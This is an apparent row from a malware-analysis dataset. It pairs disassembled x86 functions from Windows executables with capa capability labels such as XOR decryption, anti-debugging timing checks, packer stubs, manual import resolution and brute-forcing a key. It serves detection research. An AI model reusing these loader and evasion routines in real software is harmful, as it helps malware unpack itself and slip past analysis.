joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4a9b71
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
pushal
mov eax, 1
test eax, eax
je 0x4a9ddd
mov byte [ebp - 0x10c], 0x50
mov byte [ebp - 0x10b], 0x72
mov byte [ebp - 0x10a], 0x6f
mov byte [ebp - 0x109], 0x63
mov byte [ebp - 0x108], 0x65
mov byte [ebp - 0x107], 0x73
mov byte [ebp - 0x106], 0x73
mov byte [ebp - 0x105], 0x69
mov byte [ebp - 0x104], 0x6e
mov byte [ebp - 0x103], 0x67
mov byte [ebp - 0x102], 0x20
mov byte [ebp - 0x101], 0x49
mov byte [ebp - 0x100], 0x6d
mov byte [ebp - 0xff], 0x70
mov byte [ebp - 0xfe], 0x6f
mov byte [ebp - 0xfd], 0x72
mov byte [ebp - 0xfc], 0x74
mov byte [ebp - 0xfb], 0x20
mov byte [ebp - 0xfa], 0x44
mov byte [ebp - 0xf9], 0x69
mov byte [ebp - 0xf8], 0x72
mov byte [ebp - 0xf7], 0x65
mov byte [ebp - 0xf6], 0x63
mov byte [ebp - 0xf5], 0x74
mov byte [ebp - 0xf4], 0x6f
mov byte [ebp - 0xf3], 0x72
mov byte [ebp - 0xf2], 0x79
mov byte [ebp - 0xf1], 0x3a
mov byte [ebp - 0xf0], 0
mov eax, 1
mov eax, dword [ebp + 0x10]
mov eax, dword [eax + 0xc]
add eax, dword [ebp + 0xc]
mov ebx, eax
mov eax, 1
test eax, eax
je 0x4a9ddd
mov eax, 1
test eax, eax
je 0x4a9ddd
push ebx
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
test eax, eax
je 0x4a9ddd
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
add eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [edx + 0x10]
add eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
sub ecx, ecx
mov eax, dword [ebp - 0xc]
add eax, ecx
mov eax, dword [eax]
test eax, eax
je 0x4a9dd3
mov ebx, eax
and eax, 0x80000000
jne 0x4a9d4a
mov byte [ebp - 0x10c], 0x4e
mov byte [ebp - 0x10b], 0x61
mov byte [ebp - 0x10a], 0x6d
mov byte [ebp - 0x109], 0x65
mov byte [ebp - 0x108], 0x3a
mov byte [ebp - 0x107], 0x20
mov byte [ebp - 0x106], 0
lea eax, [ebp - 0x10c]
mov eax, 1
test eax, eax
je 0x4a9ddd
add ebx, dword [ebp + 0xc]
lea ebx, [ebx + 2]
mov eax, ebx
mov eax, 1
test eax, eax
je 0x4a9ddd
mov eax, 1
test eax, eax
je 0x4a9ddd
push ecx
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
pop ecx
test eax, eax
je 0x4a9ddd
mov ebx, dword [ebp - 8]
add ebx, ecx
mov dword [ebx], eax
add ecx, 4
jmp 0x4a9ca5
mov byte [ebp - 0x10c], 0x4f
mov byte [ebp - 0x10b], 0x72
mov byte [ebp - 0x10a], 0x64
mov byte [ebp - 0x109], 0x69
mov byte [ebp - 0x108], 0x6e
mov byte [ebp - 0x107], 0x61
mov byte [ebp - 0x106], 0x6c
mov byte [ebp - 0x105], 0x3a
mov byte [ebp - 0x104], 0x20
mov byte [ebp - 0x103], 0
lea eax, [ebp - 0x10c]
mov eax, 1
test eax, eax
je 0x4a9ddd
xor ebx, 0x80000000
mov eax, ebx
mov eax, 1
test eax, eax
je 0x4a9b67
push ecx
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
pop ecx
test eax, eax
je 0x4a9ddd
mov ebx, dword [ebp - 8]
add ebx, ecx
mov dword [ebx], eax
add ecx, 4
jmp 0x4a9ca5
popal
mov eax, 1
leave
ret 0xc
popal
mov eax, 0
leave
ret 0xc
Function at 0x4a9e9d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
pushal
mov edx, dword [ebp + 0xc]
sub eax, eax
mov ax, word [edx + 2]
mov dword [ebp - 0x118], eax
add edx, 0x14
mov eax, dword [edx + 0x1c]
mov dword [ebp - 0x114], eax
mov eax, dword [edx + 0x38]
mov dword [ebp - 0x110], edx
lea edx, [ebp - 0xc]
mov ebx, dword [ebp + 8]
push edx
push 4
push eax
push dword [ebp - 0x114]
call dword [ebx + 0x24]
test eax, eax
je 0x4a9fee
mov byte [ebp - 0x10c], 0x53
mov byte [ebp - 0x10b], 0x65
mov byte [ebp - 0x10a], 0x74
mov byte [ebp - 0x109], 0x20
mov byte [ebp - 0x108], 0x49
mov byte [ebp - 0x107], 0x6d
mov byte [ebp - 0x106], 0x61
mov byte [ebp - 0x105], 0x67
mov byte [ebp - 0x104], 0x65
mov byte [ebp - 0x103], 0x20
mov byte [ebp - 0x102], 0x77
mov byte [ebp - 0x101], 0x72
mov byte [ebp - 0x100], 0x69
mov byte [ebp - 0xff], 0x74
mov byte [ebp - 0xfe], 0x61
mov byte [ebp - 0xfd], 0x62
mov byte [ebp - 0xfc], 0x6c
mov byte [ebp - 0xfb], 0x65
mov byte [ebp - 0xfa], 0x3a
mov byte [ebp - 0xf9], 0
mov eax, 1
mov eax, 1
test eax, eax
je 0x4a9fee
mov edx, dword [ebp - 0x110]
lea ebx, [edx + 0x60]
mov eax, dword [edx + 0x5c]
mov edx, 8
mul edx
add eax, ebx
mov dword [ebp - 8], eax
mov eax, 0x28
mov edx, dword [ebp - 0x118]
mul edx
add eax, dword [ebp - 8]
mov ebx, dword [ebp + 0x10]
sub eax, ebx
mov dword [ebp - 4], eax
mov edi, dword [ebp - 0x114]
mov esi, dword [ebp + 0x10]
mov ecx, dword [ebp - 4]
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x118]
mov ebx, dword [ebp - 8]
push dword [ebp + 0x10]
push dword [ebp - 0x114]
push ebx
push dword [ebp + 8]
call fcn.004a9ff8
test eax, eax
je 0x4a9fee
add ebx, 0x28
dec ecx
jne 0x4a9fc7
popal
mov eax, dword [ebp - 0x114]
leave
ret 0x10
popal
mov eax, 0
leave
ret 0x10

Function at 0x4aa09e
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
pushal
mov edx, dword [ebp + 0xc]
mov ebx, dword [edx + 0x24]
and ebx, 0xe0000000
cmp ebx, 0xe0000000
jne 0x4aa0c9
mov eax, 0x40
mov dword [ebp - 0x108], eax
jmp 0x4aa12e
mov ebx, dword [edx + 0x24]
and ebx, 0x60000000
cmp ebx, 0x60000000
jne 0x4aa0e7
mov eax, 0x20
mov dword [ebp - 0x108], eax
jmp 0x4aa12e
mov ebx, dword [edx + 0x24]
and ebx, 0xc0000000
cmp ebx, 0xc0000000
jne 0x4aa105
mov eax, 4
mov dword [ebp - 0x108], eax
jmp 0x4aa12e
mov ebx, dword [edx + 0x24]
and ebx, 0x40000000
cmp ebx, 0x40000000
jne 0x4aa123
mov eax, 2
mov dword [ebp - 0x108], eax
jmp 0x4aa12e
mov eax, 1
mov dword [ebp - 0x108], eax
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 0xc]
add eax, dword [ebp + 0x10]
mov ebx, dword [edx + 8]
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x104]
push edx
push dword [ebp - 0x108]
push ebx
push eax
call dword [ecx + 0x24]
test eax, eax
je 0x4aa16b
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 0xc]
add eax, dword [ebp + 0x10]
mov eax, 1
popal
mov eax, 1
leave
ret 0x10
popal
sub eax, eax
leave
ret 0x10
Function at 0x4aa172
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
pushal
mov edx, dword [ebp + 8]
mov ax, word [edx]
cmp ax, 0x5a4d
jne 0x4aa1a1
mov eax, dword [edx + 0x3c]
add edx, eax
mov eax, dword [edx]
cmp eax, 0x4550
jne 0x4aa1a1
add edx, 4
mov dword [ebp - 4], edx
popal
mov eax, dword [ebp - 4]
leave
ret 8
popal
sub eax, eax
leave
ret 8

Function at 0x4aadff
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov ecx, 3
mov edx, 1
push ecx
push dword [ebp + 8]
call fcn.004aaf04
rol eax, 8
push dword [ebp + 0xc]
push eax
call fcn.004aaf20
push edx
push dword [ebp + 0x10]
push eax
call fcn.004aaeec
inc edx
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.004aaf04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.004aaecb
push ecx
push dword [ebp + 8]
call fcn.004aaf04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.004aaf04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.004aaecb
push ecx
push dword [ebp + 8]
call fcn.004aaf04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.004aaf04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.004aaecb
push ecx
push dword [ebp + 8]
call fcn.004aaf04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.004aaf04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.004aaecb
cmp ecx, 0x2b
jne 0x4aae0f
leave
ret 0xc

Function at 0x4ac4b4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
pushal
mov byte [ebp - 0x118], 0x42
mov byte [ebp - 0x117], 0x72
mov byte [ebp - 0x116], 0x75
mov byte [ebp - 0x115], 0x74
mov byte [ebp - 0x114], 0x65
mov byte [ebp - 0x113], 0x66
mov byte [ebp - 0x112], 0x6f
mov byte [ebp - 0x111], 0x72
mov byte [ebp - 0x110], 0x63
mov byte [ebp - 0x10f], 0x69
mov byte [ebp - 0x10e], 0x6e
mov byte [ebp - 0x10d], 0x67
mov byte [ebp - 0x10c], 0x20
mov byte [ebp - 0x10b], 0x4b
mov byte [ebp - 0x10a], 0x65
mov byte [ebp - 0x109], 0x79
mov byte [ebp - 0x108], 0
mov eax, 1
lea edi, [ebp - 0x14]
mov ecx, 0x10
mov al, 0
mov byte [edi], al
inc edi
dec ecx
jne 0x4ac544
mov eax, dword [ebp + 8]
push 4
push 0x3000
push 0x55750
push 0
call dword [eax + 0x20]
test eax, eax
je 0x4ac5d6
mov dword [ebp - 4], eax
mov edi, eax
mov esi, dword [ebp + 0xc]
mov ecx, 0x55750
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 0xc]
push dword [ebp + 0xc]
push 0x55750
call fcn.004ac3fa
push 0x55750
push dword [ebp + 0xc]
call fcn.004aa1a8
test eax, eax
jne 0x4ac5b8
mov esi, dword [ebp - 4]
mov edi, dword [ebp + 0xc]
mov ecx, 0x55750
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x14]
push eax
call fcn.004ac5dd
test eax, eax
je 0x4ac5d6
jmp 0x4ac574
mov eax, dword [ebp + 8]
push 0x8000
push 0
push dword [ebp - 4]
call dword [eax + 0x28]
test eax, eax
je 0x4ac5d6
popal
mov eax, 1
leave
ret 8
popal
sub eax, eax
leave
ret 8
Function at 0x4ac60b
Capabilities:
Terminate process

Disassembly:
call fcn.004ac618
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x66bf28
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea esp, [esp + 1]
xchg dword [esp + 4], ebp
pushal
xchg dword [esp + 7], eax
jmp 0x66bf5e
bsf ebp, ebx
mov cl, byte [esp]
cpuid
mov ecx, 0xb9975aeb
sub esp, 5
jmp 0x66bf12
mov byte [esp + 0x11], bh
xchg ebx, edx
mov word [esp + 0x1c], cx
lea ebp, [ebp - 0x46]
and ah, 0xba
rdtsc
jmp 0x66bfad
rdtsc
call 0x66c02b
bswap eax
neg ax
rdtsc
xchg dword [esp + 0x24], ebp
lea eax, [ecx + ebp]
xor ebx, ebx
jmp 0x66bf8f

Function at 0x673ce1
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp + 4]
jmp 0x659a56
jmp 0x673c6a
Function at 0x6d2c16
Capabilities:
Encode data using xor

Disassembly:
push esi
rol dword [eax + reloc.WINMM.dll_midiStreamOut], 0
add byte [ebx - 0x39], ah
push ebp
call 0x6d2f2b
arpl di, ax
push edi
xor al, cl
dec eax
cli
js 0x6d25ba
mov dword [eax - 0x35], edi
aad 0x44
neg esi
jmp 0x6d2c6e
lea esp, [esp + 8]
je 0x6d25bd
cmp dword [ebx], 0
je 0x6d25bd
jne 0x6d2631

Function at 0x7d7a92
Capabilities:
Packed with generic packer

Disassembly:
mov word [esp], bp
lea esp, [esp + 2]
mov ebp, dword [esp + 8]
mov edx, eax
not dx
mov edx, 0xcc3b77ba
bswap ebp
push dword [esp + 4]
lea esp, [esp + 1]
mov edx, dword [esp]
mov dh, byte [esp]
push cx
jmp 0x7d7a05
xchg word [esp + 2], bp
xchg byte [esp], dh
xchg word [esp], bp
xchg dl, dh
lea edx, [ebx*4]
mov word [esp + 2], sp
jmp 0x7d7a2c
mov word [esp + 2], bp
setnp dh
xchg word [esp + 1], bp
mov byte [esp + 1], al
jmp 0x7d7a5e

Function at 0x7db50b
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x7db568
mov cl, ch
mov cx, dx
rdtsc
sub esp, 0x15
mov ax, 0x6685
mov edi, ecx
jmp 0x7db552

Function at 0x7db868
Capabilities:
Packed with generic packer
Parse pe header

Disassembly:
mov word [esp + 5], bp
mov dword [esp + 0x3c], edi
lea esp, [esp + 0x3c]
jmp 0x7db888

Function at 0x7db87e
Capabilities:
Access peb ldr_data
Packed with generic packer
Parse pe header

Disassembly:
pushfd
pop dword [esp + 1]
call fcn.007db868
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
jmp 0x7db8c1

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408ecc
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x139a7799
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x756255a0
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x4574d0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
push ebx
push esi
push edi
push ecx
lea edi, [ebp - 0xcc]
mov ecx, 0x33
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov dword [ebp - 8], ecx
mov esi, esp
push 4
lea eax, [ebp + 0xc]
push eax
push 4
push 0
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx]
push eax
call dword [0x48c978]
cmp esi, esp
call fcn.004696f4
pop edi
pop esi
pop ebx
add esp, 0xcc
cmp ebp, esp
call fcn.004696f4
mov esp, ebp
pop ebp
ret 8

Function at 0x457980
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
push ebx
push esi
push edi
push ecx
lea edi, [ebp - 0xcc]
mov ecx, 0x33
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov dword [ebp - 8], ecx
mov esi, esp
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
push edx
call dword [0x48c9a8]
cmp esi, esp
call fcn.004696f4
pop edi
pop esi
pop ebx
add esp, 0xcc
cmp ebp, esp
call fcn.004696f4
mov esp, ebp
pop ebp
ret 4

Function at 0x4579e0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
lea edi, [ebp - 0x110]
mov ecx, 0x44
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
push eax
call fcn.00468450
add esp, 4
movzx ecx, al
test ecx, ecx
jne 0x457a1b
mov eax, 0x80004005
jmp 0x457ad6
mov dword [ebp - 0x40], 0
mov ecx, 0xe
xor eax, eax
lea edi, [ebp - 0x3c]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x40], 0x3c
mov dword [ebp - 0x3c], 0x540
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov esi, esp
lea eax, [ebp - 0x40]
push eax
call dword [0x48d0b8]
cmp esi, esp
call fcn.004696f4
test eax, eax
jne 0x457a89
mov eax, 0x80004005
jmp 0x457ad6
movzx eax, byte [ebp + 0x10]
test eax, eax
jne 0x457a95
xor eax, eax
jmp 0x457ad6
mov esi, esp
push 0xffffffffffffffff
mov eax, dword [ebp - 8]
push eax
call dword [0x48cb34]
cmp esi, esp
call fcn.004696f4
mov dword [ebp - 0x4c], 0x80004005
mov esi, esp
lea eax, [ebp - 0x4c]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [0x48ca9c]
cmp esi, esp
call fcn.004696f4
test eax, eax
jne 0x457ad3
mov eax, 0x80004005
jmp 0x457ad6
mov eax, dword [ebp - 0x4c]
push edx
mov ecx, ebp
push eax
lea edx, [0x457afc]
call fcn.00469717
pop eax
pop edx
pop edi
pop esi
pop ebx
add esp, 0x110
cmp ebp, esp
call fcn.004696f4
mov esp, ebp
pop ebp
ret
Function at 0x4670f0
Capabilities:
Get file version info

Disassembly:
push ecx
push ebx
push edi
mov edi, dword [esp + 0x10]
xor ebx, ebx
cmp edi, ebx
je 0x4671a6
cmp word [edi], bx
je 0x4671a6
push ebx
push edi
call fcn.0046ad92
cmp eax, ebx
mov dword [esp + 0x10], eax
je 0x4671a0
inc eax
push esi
push eax
call fcn.00469478
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x46719f
mov eax, dword [esp + 0x14]
push esi
push eax
push ebx
push edi
call fcn.0046ad8c
test eax, eax
je 0x467196
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x10]
push edx
push 0x47ccb4
push esi
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x24], 0x34
call fcn.0046ad86
test eax, eax
je 0x467196
mov eax, dword [esp + 0xc]
mov cx, word [eax + 0xa]
mov edx, dword [esp + 0x18]
mov word [edx], cx
mov cx, word [eax + 8]
mov edx, dword [esp + 0x1c]
mov word [edx], cx
mov cx, word [eax + 0xe]
mov edx, dword [esp + 0x20]
mov word [edx], cx
mov ax, word [eax + 0xc]
mov ecx, dword [esp + 0x24]
mov word [ecx], ax
mov bl, 1
push esi
call fcn.0046983e
add esp, 4
pop esi
pop edi
mov al, bl
pop ebx
pop ecx
ret
push 0x132b3a1
call fcn.00468220
add esp, 4
pop edi
xor al, al
pop ebx
pop ecx
ret
Function at 0x433373
Capabilities:
Terminate process

Disassembly:
push 0xc
push 0x433e58
call fcn.00433a78
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, ebx
mov edx, 0x434514
mov ecx, esi
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x4333b8
cmp eax, esi
jne 0x4333ab
xor esi, esi
inc esi
mov edi, esi
jmp 0x4333bb
push 0x3e8
call dword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x43338f
xor esi, esi
inc esi
cmp dword [0x434518], esi
jne 0x4333cd
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x433407
cmp dword [0x434518], ebx
jne 0x433401
mov dword [0x434518], esi
push 0x401034
push 0x401028
call fcn.004334ec
pop ecx
pop ecx
test eax, eax
je 0x433407
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x4334dc
mov dword [0x4341c8], esi
cmp dword [0x434518], esi
jne 0x43342a
push 0x401024
push section..text
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x434518], 2
test edi, edi
jne 0x433437
xor eax, eax
mov ecx, 0x434514
xchg dword [ecx], eax
cmp dword [0x434524], 0
je 0x433463
push 0x434524
call fcn.004338d0
pop ecx
test eax, eax
je 0x433463
push ebx
push 2
push ebx
mov esi, dword [0x434524]
mov ecx, esi
call dword [0x43514c]
call esi
push dword [0x4341d4]
push dword [0x4341d0]
push dword [0x4341cc]
call fcn.004260e2
add esp, 0xc
mov dword [0x4341c4], eax
cmp dword [0x4341dc], 0
jne 0x4334c1
push eax
call dword [sym.imp.msvcrt.dll_exit]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
push ecx
push eax
call sub.msvcrt.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x4341c8], 0
jne 0x4334d5
call dword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x4341c4]
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
call fcn.004c4000
jmp 0x433373

Function at 0x4337b4
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x433e98
call fcn.00433a78
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x433814
cmp eax, 0xffffffff
je 0x433814
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x43380d
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x43380d
cmp edx, 0x10000000
jae 0x43380d
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x43380a
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x433880
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x4338be
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x4338b6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x4338c0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x4338a6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x404480
Capabilities:
Reference http user-agent string

Disassembly:
mov ecx, dword [0x99504c]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x404690
sub esp, 0x2c
mov eax, dword [esp + 0x30]
movzx ecx, byte [eax + 0x41]
test cl, cl
je 0x404679
mov ecx, dword [eax + 0x10]
shl ecx, 0xd
cmp ecx, 0x400000
jne 0x404663
mov byte [esp + 0x17], 1
movzx ecx, byte [esp + 0x17]
mov byte [eax + 0x3e], cl
mov ecx, dword [eax + 0x10]
shl ecx, 0xd
mov edx, dword [eax + 0xc]
mov dword [esp], edx
mov dword [esp + 4], ecx
call fcn.00415060
mov eax, dword [esp + 0x30]
mov ecx, dword [eax + 0x10]
lea edx, [0x995db0]
mov dword [esp], edx
shl ecx, 0xd
xor edx, edx
sub edx, ecx
mov ecx, 0
sbb ecx, 0
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
call fcn.00432910
mov eax, dword [esp + 0x30]
mov ecx, dword [eax + 0x10]
shl ecx, 0xd
lea edx, [0x995dd0]
mov dword [esp], edx
mov dword [esp + 8], 0
mov dword [esp + 4], ecx
call fcn.00402cc0
lea eax, [0x99b460]
mov dword [esp], eax
call fcn.00432a30
mov eax, dword [esp + 4]
test byte [eax], al
mov ecx, dword [esp + 0x30]
mov edx, dword [ecx + 0x10]
mov dword [esp], eax
shl edx, 0xd
lea ebx, [eax + 0x10]
mov dword [esp + 0x28], ebx
lea ebp, [eax + 0x270]
mov dword [esp + 0x24], ebp
add eax, 0x268
mov dword [esp + 0x20], eax
xor esi, esi
sub esi, edx
mov edx, 0
sbb edx, 0
mov dword [esp + 8], edx
mov dword [esp + 4], esi
call fcn.00402c40
mov eax, dword [esp + 0x30]
mov ecx, dword [eax + 0x10]
mov edx, dword [esp + 0x28]
mov dword [esp], edx
shl ecx, 0xd
xor edx, edx
sub edx, ecx
mov ecx, 0
sbb ecx, 0
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
call fcn.00402c40
mov eax, dword [esp + 0x24]
mov dword [esp], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 1
call fcn.00402cc0
mov eax, dword [esp + 0x30]
mov ecx, dword [eax + 0x10]
mov edx, dword [esp + 0x20]
mov dword [esp], edx
mov dword [esp + 8], 0
shl ecx, 0xd
mov dword [esp + 4], ecx
call fcn.00402cc0
lea eax, [0x99b460]
mov dword [esp], eax
call fcn.00432b20
mov eax, dword [esp + 0x30]
mov ecx, dword [eax + 0x10]
lea edx, [0x995ca0]
mov dword [esp], edx
shl ecx, 0xd
xor edx, edx
sub edx, ecx
mov ecx, 0
sbb ecx, 0
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
call fcn.00421d80
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
lea eax, [0x4046a0]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x18]
mov dword [esp], eax
call fcn.00467970
add esp, 0x2c
ret
lea eax, [0x74bdb5]
mov dword [esp], eax
mov dword [esp + 4], 0x2c
call fcn.00439230
lea eax, [0x74a487]
mov dword [esp], eax
mov dword [esp + 4], 0x28
call fcn.00439230
nop
call fcn.00467a60
jmp fcn.00404480
Function at 0x40b6b0
Capabilities:
Reference http user-agent string

Disassembly:
mov ecx, dword [0x99504c]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x40b7ba
sub esp, 0x18
xor eax, eax
jmp 0x40b6cc
inc eax
mov dword [esp + 0xc], eax
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
lea ebx, [edx + ecx]
mov dword [esp + 0x14], ebx
mov ebp, dword [esp + 0x1c]
mov dword [esp], ebp
mov dword [esp + 4], ebx
call fcn.004154e0
mov eax, dword [esp + 8]
mov ecx, eax
test eax, eax
je 0x40b78f
mov edx, dword [esp + 0x24]
lea ebx, [edx - 1]
test eax, ebx
je 0x40b77f
mov dword [esp + 0x10], eax
mov dword [esp], ecx
mov eax, dword [esp + 0x14]
mov dword [esp + 4], eax
call fcn.00415420
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x24]
lea eax, [ecx + eax - 1]
neg ecx
and ecx, eax
mov dword [esp + 0x10], ecx
nop
nop
mov dword [esp], ecx
mov ecx, dword [esp + 0x20]
mov dword [esp + 4], ecx
call fcn.004154e0
mov eax, dword [esp + 8]
mov ecx, eax
mov edx, dword [esp + 0x10]
cmp eax, edx
je 0x40b76f
mov dword [esp], ecx
mov eax, dword [esp + 0x20]
mov dword [esp + 4], eax
call fcn.00415420
mov eax, dword [esp + 0xc]
cmp eax, 0x63
jne 0x40b6cb
jmp 0x40b7a3
mov dword [esp + 0x28], ecx
mov eax, dword [esp + 0x20]
mov dword [esp + 0x2c], eax
add esp, 0x18
ret
mov dword [esp + 0x28], ecx
mov eax, dword [esp + 0x14]
mov dword [esp + 0x2c], eax
add esp, 0x18
ret
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0
add esp, 0x18
ret
lea eax, [0x74f78b]
mov dword [esp], eax
mov dword [esp + 4], 0x38
call fcn.00439230
nop
call fcn.00467a60
jmp fcn.0040b6b0